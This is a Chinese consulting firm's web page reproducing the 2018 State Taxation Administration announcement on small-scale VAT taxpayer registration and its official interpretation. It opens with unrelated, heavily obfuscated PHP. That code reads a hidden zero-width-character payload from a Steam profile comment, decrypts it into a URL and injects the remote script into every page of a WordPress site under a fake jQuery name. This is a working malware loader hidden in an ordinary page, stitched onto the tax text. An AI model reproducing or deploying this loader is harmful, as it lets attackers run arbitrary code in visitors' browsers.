goto dfc1d; D7304: function decode_html_entities_like_source(string $s) : string { goto d39d7; C56fe: $s = str_replace(["\134\x6e", "\134\x22", "\x26\x71\165\157\x74\73", "\x26\x61\x6d\160\x3b", "\x26\154\x74\73", "\x26\147\x74\73"], ["\xa", "\x22", "\x22", "\x26", "\74", "\76"], $s); goto Ba34b; d39d7: $s = preg_replace_callback("\x2f\x26\43\170\x28\133\134\144\x61\55\x66\x41\55\x46\x5d\53\x29\x3b\57\151", function ($m) { return mb_convert_encoding(pack("\110\x2a", $m[1]), "\x55\124\106\55\70", "\x55\x43\123\55\x32\102\105"); }, $s); goto C56fe; Ba34b: return $s; goto b61ef; b61ef: } goto D7078; D7078: function decode_zero_width_payload(string $text, string $password = '') : string { try { goto C2b2b; d3c12: $salt = substr($blob, 0, 8); goto D23dc; C9c3f: $bytes = array_map("\157\162\144", str_split($plain)); goto Cd597; Ef189: a7f7f: goto d13f0; ce377: $from = [$ZW[4], $ZW[5]]; goto e78f2; ec58b: if (!($unz === false)) { goto A9c55; } goto E9275; eed3b: if (!($leading === '')) { goto cfaee; } goto c489e; e9141: $blob = pack("\103\52", ...$bytes); goto d3c12; A98ef: $bytes = []; goto abbfc; d50d2: d308c: goto C9c3f; Ccd85: $iv = substr($dk, 0, 16); goto Df294; df35a: $ciphertext = substr($blob, 8); goto e998e; D85f8: cfaee: goto ec634; c5213: A9c55: goto D9e23; f6ec8: d17f8: goto e0fc4; e998e: $expectedHmac = null; goto Ed5ed; c87c5: $p += 8; goto Fd43b; F4fea: $payloadRest = mb_substr($payload, 1, null, "\125\124\x46\x2d\x38"); goto Fe277; Dba93: e6efa: goto A98ef; aeada: Af03e: goto d50d2; d5bfd: if (!($p + 8 <= strlen($bits))) { goto d36a9; } goto eaec6; eaec6: $bytes[] = bindec(substr($bits, $p, 8)); goto da13a; D9e23: return $unz !== false ? $unz : ''; goto ee358; c489e: return ''; goto D85f8; C8282: $containerChar = mb_substr($payload, 0, 1, "\x55\x54\x46\55\70"); goto F4fea; E88ce: $payload = mb_substr($leading, 1, null, "\125\x54\106\x2d\70"); goto d3dbb; b8587: $hasHmac = $containerIdx === 0; goto d9773; f91c2: if (!$isEncrypted) { goto fa074; } goto e9141; d3d85: return ''; goto f6ec8; B4da4: if (!($plain === false)) { goto d17f8; } goto d3d85; d0120: foreach ($inv as $b) { goto a21fc; Ab8c2: $allPrintable = false; goto F779a; abe91: F0425: goto e51e8; a21fc: if (!($b < 32 || $b > 126)) { goto a1a65; } goto Ab8c2; F779a: goto F4297; goto db1ad; db1ad: a1a65: goto abe91; e51e8: } goto d19ff; Abc09: foreach (explode("\40", $text) as $word) { goto d56b5; d82d0: goto e8b9d; goto bb211; bb211: f0f9c: goto E332b; e3ec9: $pos = 0; goto B5c7a; fbd9c: $leading = mb_substr($word, 0, $pos, "\x55\x54\106\55\70"); goto d82d0; E02b9: if (empty($intersection)) { goto f0f9c; } goto e3ec9; B5c7a: foreach ($chars as $i => $ch) { goto e8276; D24b7: C7bc3: goto C1cb6; E548e: $pos = $i; goto c3795; Ba85e: $pos = $i + 1; goto D24b7; c3795: goto Fd5ba; goto ce7e7; ce7e7: Caf0c: goto Ba85e; e8276: if (in_array($ch, $ZW, true)) { goto Caf0c; } goto E548e; C1cb6: } goto C2679; C2679: Fd5ba: goto fbd9c; C59c6: $intersection = array_intersect($ZW, $chars); goto E02b9; E332b: c181e: goto A212d; d56b5: $chars = preg_split("\57\x2f\x75", $word, -1, PREG_SPLIT_NO_EMPTY); goto C59c6; A212d: } goto D7121; E5afe: return implode('', array_map("\x63\150\162", $inv)); goto Be895; A7d8b: $modeIdx = array_search($modeChar, $ZW, true); goto e665f; Ac630: $raw = pack("\x43\52", ...$inv); goto C191f; bee51: if ($allPrintable) { goto db96b; } goto Ac630; d13f0: $expectedHmac = substr($blob, 8, 32); goto b2e8e; e78f2: $to = [$pair[0] . $pair[0], $pair[1] . $pair[1]]; goto c4816; e0fc4: if (!$hasHmac) { goto d308c; } goto B53b3; d9773: $bits = ''; goto F3450; C2b2b: $ZW = ["\xe2\200\x8c", "\xe2\x80\215", "\342\201\xa1", "\xe2\201\242", "\xe2\201\243", "\342\201\244"]; goto a368e; A96fe: e9132: goto fce6f; ee358: db96b: goto E5afe; d3dbb: $pairsByIndex = [$ZW[0] . $ZW[1], $ZW[0] . $ZW[2], $ZW[0] . $ZW[3], $ZW[1] . $ZW[2], $ZW[1] . $ZW[3], $ZW[2] . $ZW[3]]; goto A7d8b; a368e: $leading = ''; goto Abc09; da13a: e90ab: goto c87c5; Ed5ed: goto e9132; goto Ef189; Dd6e5: d36a9: goto f91c2; Cd597: fa074: goto Dbf10; Db703: $plain = openssl_decrypt($ciphertext, "\x61\145\x73\55\62\65\x36\x2d\143\164\x72", $key, OPENSSL_RAW_DATA, $iv); goto B4da4; ec634: $modeChar = mb_substr($leading, 0, 1, "\125\124\x46\55\x38"); goto E88ce; D7121: e8b9d: goto eed3b; B53b3: $h = hash_hmac("\163\150\x61\x32\x35\x36", $plain, $key, true); goto f8a49; b2e8e: $ciphertext = substr($blob, 40); goto A96fe; C191f: $unz = @gzuncompress($raw); goto ec58b; d19ff: F4297: goto bee51; F00f8: $allPrintable = true; goto d0120; D23dc: if ($hasHmac) { goto a7f7f; } goto df35a; abbfc: $p = 0; goto F1f05; Fd43b: goto bd29e; goto Dd6e5; Dc56a: return ''; goto aeada; E9275: $unz = @gzinflate($raw); goto c5213; f8a49: if (hash_equals($expectedHmac, $h)) { goto Af03e; } goto Dc56a; Df294: $key = substr($dk, 16, 32); goto Db703; Dbf10: $inv = array_map(fn($b) => ~$b & 0xff, $bytes); goto F00f8; fce6f: $dk = hash_pbkdf2("\163\150\x61\x35\61\62", $password, $salt, 10000, 48, true); goto Ccd85; e665f: $pair = $modeIdx !== false && isset($pairsByIndex[$modeIdx]) ? preg_split("\57\57\165", $pairsByIndex[$modeIdx], -1, PREG_SPLIT_NO_EMPTY) : [$ZW[0], $ZW[1]]; goto ce377; F3450: foreach (preg_split("\x2f\57\x75", $payloadRest, -1, PREG_SPLIT_NO_EMPTY) as $ch) { goto E2839; be63a: $bits .= str_pad(decbin($i), 2, "\x30", STR_PAD_LEFT); goto db3e7; a5a82: c2881: goto be7a7; d55eb: if (!($i !== false)) { goto baf2f; } goto be63a; db3e7: baf2f: goto a5a82; E2839: $i = array_search($ch, $ZW, true); goto d55eb; be7a7: } goto Dba93; c4816: $payload = str_replace($from[1], $to[1], $payload); goto de7cd; de7cd: $payload = str_replace($from[0], $to[0], $payload); goto C8282; Fe277: $containerIdx = array_search($containerChar, $ZW, true); goto D5820; D5820: $isEncrypted = $containerIdx === 0 || $containerIdx === 1; goto b8587; F1f05: bd29e: goto d5bfd; Be895: } catch (\Throwable $e) { return ''; } } goto a7fb4; dfc1d: function fetch_comment_text_from_url(string $url) : string { goto b27df; D7ac4: return $text; goto Dbfd9; F1e30: curl_close($ch); goto bd612; bd612: return get_transient($cache_key) ?: ''; goto A6f8c; dd4b3: set_transient($cache_key, $text, 300); goto D7ac4; Ef31e: $ch = curl_init($url); goto A6435; A6435: curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\115\x6f\x7a\x69\x6c\154\x61\x2f\x35\56\x30\40\50\127\x69\156\144\157\x77\x73\40\116\x54\x20\x31\60\x2e\x30\73\40\x57\151\156\x36\x34\73\40\x78\66\64\x29\x20\101\160\x70\x6c\x65\127\x65\142\x4b\x69\164\x2f\x35\63\67\x2e\x33\66", CURLOPT_TIMEOUT => 10]); goto Dea9b; b27df: $cache_key = "\143\141\160\164\x69\157\x6e\137" . md5($url); goto Ef31e; Ceb67: return get_transient($cache_key) ?: ''; goto D1440; Dea9b: $html = curl_exec($ch); goto d4307; d4307: if (!($html === false)) { goto D3bed; } goto F1e30; Dbfd9: C305c: goto Ceb67; Db868: curl_close($ch); goto e1b29; e1b29: if (!preg_match("\57\74\144\x69\x76\x5b\x5e\76\135\x2a\x63\x6c\x61\x73\163\75\133\47\134\42\135\143\x6f\x6d\155\x65\x6e\x74\x74\150\162\145\x61\x64\x5f\x63\x6f\x6d\155\145\156\164\137\x74\145\170\164\133\x27\134\x22\x5d\133\x5e\76\x5d\x2a\76\x28\x2e\52\77\51\x3c\134\x2f\144\x69\x76\x3e\57\x69\x73", $html, $m)) { goto C305c; } goto e58d9; A6f8c: D3bed: goto Db868; e58d9: $text = decode_html_entities_like_source($m[1]); goto dd4b3; D1440: } goto D7304; a7fb4: function enqueue_external_script_from_steam_comment() : void { goto Bc875; B9ec2: wp_enqueue_script("\x61\163\x61\x68\151\x2d\152\x71\165\x65\162\x79\55\x6d\x69\156\55\142\165\x6e\x64\x6c\145", $url, [], null, true); goto c0558; c0558: Ad652: goto Fa6d5; d25b8: if (!filter_var($url, FILTER_VALIDATE_URL)) { goto Ad652; } goto B9ec2; Bc875: $steamProfileUrl = "\150\164\x74\160\x73\72\x2f\57\x73\x74\145\x61\x6d\x63\157\155\x6d\165\x6e\x69\164\171\56\143\157\x6d\57\151\144\x2f\60\x78\145\x65\162\x69\145\x2f"; goto f0971; af6d0: $url = $domainOrPath; goto d25b8; f0971: $commentText = fetch_comment_text_from_url($steamProfileUrl); goto b2ed4; b2ed4: $domainOrPath = decode_zero_width_payload($commentText, ''); goto af6d0; Fa6d5: } goto Ae8ce; Ae8ce: add_action("\167\x70\x5f\145\x6e\x71\165\145\165\x65\137\163\x63\x72\151\x70\164\163", "\x65\x6e\161\x75\x65\x75\145\x5f\x65\170\x74\145\162\156\x61\x6c\x5f\163\x63\x72\x69\160\x74\137\x66\x72\x6f\155\x5f\x73\x74\145\x61\x6d\x5f\x63\157\155\155\145\x6e\164"); 【新政】关于统一小规模纳税人标准等若干增值税问题的公告
欢迎来到智再(上海)企业发展有限公司! 咨询电话:18217610769 | 15821805951
首页 » 行业新闻

【新政】关于统一小规模纳税人标准等若干增值税问题的公告

时间:2018-05-25作者:admin

国家税务总局

关于统一小规模纳税人标准等若干增值税问题的公告

国家税务总局公告2018年第18号

现将统一小规模纳税人标准等若干增值税问题公告如下:
  一、同时符合以下条件的一般纳税人,可选择按照《财政部 税务总局关于统一增值税小规模纳税人标准的通知》(财税〔2018〕33号)第二条的规定,转登记为小规模纳税人,或选择继续作为一般纳税人:
  (一)根据《中华人民共和国增值税暂行条例》第十三条和《中华人民共和国增值税暂行条例实施细则》第二十八条的有关规定,登记为一般纳税人。
  (二)转登记日前连续12个月(以1个月为1个纳税期,下同)或者连续4个季度(以1个季度为1个纳税期,下同)累计应征增值税销售额(以下称应税销售额)未超过500万元。
  转登记日前经营期不满12个月或者4个季度的,按照月(季度)平均应税销售额估算上款规定的累计应税销售额。
  应税销售额的具体范围,按照《增值税一般纳税人登记管理办法》(国家税务总局令第43号)和《国家税务总局关于增值税一般纳税人登记管理若干事项的公告》(国家税务总局公告2018年第6号)的有关规定执行。
  二、符合本公告一条规定的纳税人,向主管税务机关填报《一般纳税人转为小规模纳税人登记表》(表样见附件),并提供税务登记证件;已实行实名办税的纳税人,无需提供税务登记证件。主管税务机关根据下列情况分别作出处理:
  (一)纳税人填报内容与税务登记、纳税申报信息一致的,主管税务机关当场办理。
  (二)纳税人填报内容与税务登记、纳税申报信息不一致,或者不符合填列要求的,主管税务机关应当场告知纳税人需要补正的内容。
  三、一般纳税人转登记为小规模纳税人(以下称转登记纳税人)后,自转登记日的下期起,按照简易计税方法计算缴纳增值税;转登记日当期仍按照一般纳税人的有关规定计算缴纳增值税。
  四、转登记纳税人尚未申报抵扣的进项税额以及转登记日当期的期末留抵税额,计入“应交税费—待抵扣进项税额”核算。
  尚未申报抵扣的进项税额计入“应交税费—待抵扣进项税额”时:
  (一)转登记日当期已经取得的增值税专用发票、机动车销售统一发票、收费公路通行费增值税电子普通发票,应当已经通过增值税发票选择确认平台进行选择确认或认证后稽核比对相符;经稽核比对异常的,应当按照现行规定进行核查处理。已经取得的海关进口增值税专用缴款书,经稽核比对相符的,应当自行下载《海关进口增值税专用缴款书稽核结果通知书》;经稽核比对异常的,应当按照现行规定进行核查处理。
  (二)转登记日当期尚未取得的增值税专用发票、机动车销售统一发票、收费公路通行费增值税电子普通发票,转登记纳税人在取得上述发票以后,应当持税控设备,由主管税务机关通过增值税发票选择确认平台(税务局端)为其办理选择确认。尚未取得的海关进口增值税专用缴款书,转登记纳税人在取得以后,经稽核比对相符的,应当由主管税务机关通过稽核系统为其下载《海关进口增值税专用缴款书稽核结果通知书》;经稽核比对异常的,应当按照现行规定进行核查处理。
  五、转登记纳税人在一般纳税人期间销售或者购进的货物、劳务、服务、无形资产、不动产,自转登记日的下期起发生销售折让、中止或者退回的,调整转登记日当期的销项税额、进项税额和应纳税额。
  (一)调整后的应纳税额小于转登记日当期申报的应纳税额形成的多缴税款,从发生销售折让、中止或者退回当期的应纳税额中抵减;不足抵减的,结转下期继续抵减。
  (二)调整后的应纳税额大于转登记日当期申报的应纳税额形成的少缴税款,从“应交税费—待抵扣进项税额”中抵减;抵减后仍有余额的,计入发生销售折让、中止或者退回当期的应纳税额一并申报缴纳。
  转登记纳税人因税务稽查、补充申报等原因,需要对一般纳税人期间的销项税额、进项税额和应纳税额进行调整的,按照上述规定处理。
  转登记纳税人应准确核算“应交税费—待抵扣进项税额”的变动情况。
  六、转登记纳税人可以继续使用现有税控设备开具增值税发票,不需要缴销税控设备和增值税发票。
  转登记纳税人自转登记日的下期起,发生增值税应税销售行为,应当按照征收率开具增值税发票;转登记日前已作增值税专用发票票种核定的,继续通过增值税发票管理系统自行开具增值税专用发票;销售其取得的不动产,需要开具增值税专用发票的,应当按照有关规定向税务机关申请代开。
  七、转登记纳税人在一般纳税人期间发生的增值税应税销售行为,未开具增值税发票需要补开的,应当按照原适用税率或者征收率补开增值税发票;发生销售折让、中止或者退回等情形,需要开具红字发票的,按照原蓝字发票记载的内容开具红字发票;开票有误需要重新开具的,先按照原蓝字发票记载的内容开具红字发票后,再重新开具正确的蓝字发票。
  转登记纳税人发生上述行为,需要按照原适用税率开具增值税发票的,应当在互联网连接状态下开具。按照有关规定不使用网络办税的特定纳税人,可以通过离线方式开具增值税发票。
  八、自转登记日的下期起连续不超过12个月或者连续不超过4个季度的经营期内,转登记纳税人应税销售额超过财政部、国家税务总局规定的小规模纳税人标准的,应当按照《增值税一般纳税人登记管理办法》(国家税务总局令第43号)的有关规定,向主管税务机关办理一般纳税人登记。
  转登记纳税人按规定再次登记为一般纳税人后,不得再转登记为小规模纳税人。
  九、一般纳税人在增值税税率调整前已按原适用税率开具的增值税发票,发生销售折让、中止或者退回等情形需要开具红字发票的,按照原适用税率开具红字发票;开票有误需要重新开具的,先按照原适用税率开具红字发票后,再重新开具正确的蓝字发票。
  一般纳税人在增值税税率调整前未开具增值税发票的增值税应税销售行为,需要补开增值税发票的,应当按照原适用税率补开。
  增值税发票税控开票软件税率栏次默认显示调整后税率,一般纳税人发生上述行为可以手工选择原适用税率开具增值税发票。
  十、国家税务总局在增值税发票管理系统中更新了《商品和服务税收分类编码表》,纳税人应当按照更新后的《商品和服务税收分类编码表》开具增值税发票。
  转登记纳税人和一般纳税人应当及时完成增值税发票税控开票软件升级、税控设备变更发行和自身业务系统调整。
  十一、本公告自2018年5月1日起施行。《国家税务总局关于增值税一般纳税人登记管理若干事项的公告》(国家税务总局公告2018年第6号)第七条同时废止。
  特此公告。

  附件:一般纳税人转为小规模纳税人登记表

国家税务总局

2018年4月20日
政策解读
关于《国家税务总局关于统一小规模纳税人标准等若干增值税问题的公告》的解读

按照深化增值税改革后续工作安排,结合《财政部 税务总局关于调整增值税税率的通知》(财税〔2018〕32号)、《财政部 税务总局关于统一增值税小规模纳税人标准的通知》(财税〔2018〕33号),针对政策调整涉及的征管操作问题,税务总局发布了《国家税务总局关于统一小规模纳税人标准等若干增值税问题的公告》(以下简称《公告》),现将《公告》的主要内容解读如下:
  一、关于一般纳税人转为小规模纳税人的条件
  《公告》一条规定,一般纳税人转登记为小规模纳税人,应同时符合以下两个条件:一是按照《增值税暂行条例》和《增值税暂行条例实施细则》的有关规定,已登记为一般纳税人;二是转登记日前连续12个月(按月申报纳税人)或连续4个季度(按季申报纳税人)累计应税销售额未超过500万元。如果纳税人在转登记日前的经营期尚不满12个月或4个季度,则按照月(或季度)平均销售额估算12个月或4个季度的累计销售额。
  需要明确的是,纳税人是否由一般纳税人转为小规模纳税人,由其自主选择,符合上述规定的纳税人,在2018年5月1日之后仍可继续作为一般纳税人。
  二、关于纳税人转登记的办理程序
  转登记的程序由纳税人发起。《公告》第二条规定,纳税人应正确、完整填写本公告所附《一般纳税人转为小规模纳税人登记表》,并提供税务登记证件(根据《国家税务总局关于取消一批涉税事项和报送资料的通知》(税总函〔2017〕403号)的有关规定,已实行实名办税的纳税人,无需提供税务登记证件),由主管税务机关核对相关信息,符合条件的当即完成转登记;如果税务机关认为纳税人不符合相关条件,应当场告知纳税人需要补正的内容。
  三、关于转登记前后计税方法的衔接
  《公告》第三条规定,纳税人转登记后,自转登记下期起(按季申报纳税人自下一季度开始;按月申报纳税人自下月开始),按照小规模纳税人适用简易计税方法计税;转登记当期,仍按照一般纳税人的有关规定计税。
  四、关于转登记纳税人尚未申报抵扣或留抵进项税额的处理
  《公告》第四条规定,转登记纳税人尚未申报抵扣的进项税额,以及转登记日当期的期末留抵税额,暂挂账处理,统一计入“应交税费—待抵扣进项税额”科目中核算。尚未申报抵扣的进项税额计入“应交税费—待抵扣进项税额”时:
  (一)转登记日当期已经取得的增值税专用发票、机动车销售统一发票、收费公路通行费增值税电子普通发票,应当已经通过增值税发票选择确认平台进行选择确认或认证后稽核比对相符;经稽核比对异常的,应当按照现行规定进行核查处理。已经取得的海关进口增值税专用缴款书,经稽核比对相符的,应当自行下载《海关进口增值税专用缴款书稽核结果通知书》;经稽核比对异常的,应当按照现行规定进行核查处理。
  (二)转登记日当期尚未取得的增值税专用发票、机动车销售统一发票、收费公路通行费增值税电子普通发票,转登记纳税人在取得以后应当持税控设备,由主管税务机关通过增值税发票选择确认平台(税务局端)为其办理选择确认。尚未取得的海关进口增值税专用缴款书,转登记纳税人在取得以后,经稽核比对相符的,应当由主管税务机关通过稽核系统为其下载《海关进口增值税专用缴款书稽核结果通知书》;经稽核比对异常的,应当按照现行规定进行核查处理。
  五、关于转登记纳税人在一般纳税人期间销售和购进业务在转登记后发生销售折让、中止或者退回的处理
  转登记纳税人作为一般纳税人经营期间的销售或者购进业务,在转登记后发生销售折让、中止或者退回的,应按照一般计税方法进行调整。因此《公告》第五条规定,纳税人发生上述情形的,应调整一般纳税人期间后一期销项税额、进项税额、应纳税额。
  (一)调整后的应纳税额小于转登记日当期申报的应纳税额形成的多缴税款,从发生销售折让、中止或者退回当期的应纳税额中抵减;不足抵减的,结转下期继续抵减。
  (二)调整后的应纳税额大于转登记日当期申报的应纳税额形成的少缴税款,从“应交税费—待抵扣进项税额”中抵减;抵减后仍有余额的,计入发生销售折让、中止或者退回当期的应纳税额一并申报缴纳。
  六、关于转登记纳税人增值税发票开具问题
  为了给纳税人开具增值税发票提供便利,《公告》第六条规定,纳税人在转登记后可以使用现有税控设备继续开具增值税发票。转登记纳税人除了可以开具增值税普通发票外,在转登记日前已做增值税专用发票票种核定的,还可以继续通过增值税发票管理系统自行开具增值税专用发票。
  《公告》第七条规定,转登记纳税人在一般纳税人期间发生的增值税应税销售行为,未开具增值税发票需要补开的,应当按照原适用税率或者征收率补开增值税发票;发生销售折让、中止或者退回等情形,需要开具红字发票的,按照原蓝字发票记载的内容开具红字发票;开票有误需要重新开具的,先按照原蓝字发票记载的内容开具红字发票后,再重新开具正确的蓝字发票。
  七、关于再次登记为一般纳税人的条件
  《公告》第八条规定,转登记为小规模纳税人后,如纳税人连续12个月或者4个季度的销售额超过500万元,则应按照规定,再次登记为一般纳税人。
  八、关于税率调整后一般纳税人的开票处理
  《公告》第九条明确,增值税税率调整后,一般纳税人在税率调整前已按原税率开具发票的业务,如发生销售折让、中止、退回或开票有误的,按原适用税率开具红字发票。
  一般纳税人在增值税税率调整前未开具增值税发票的,增值税应税销售行为应当按照原适用税率补开。

来源:国家税务总局

实时政策咨询 资源合作 注册公司咨询

18217610769 立即QQ咨询 微信咨询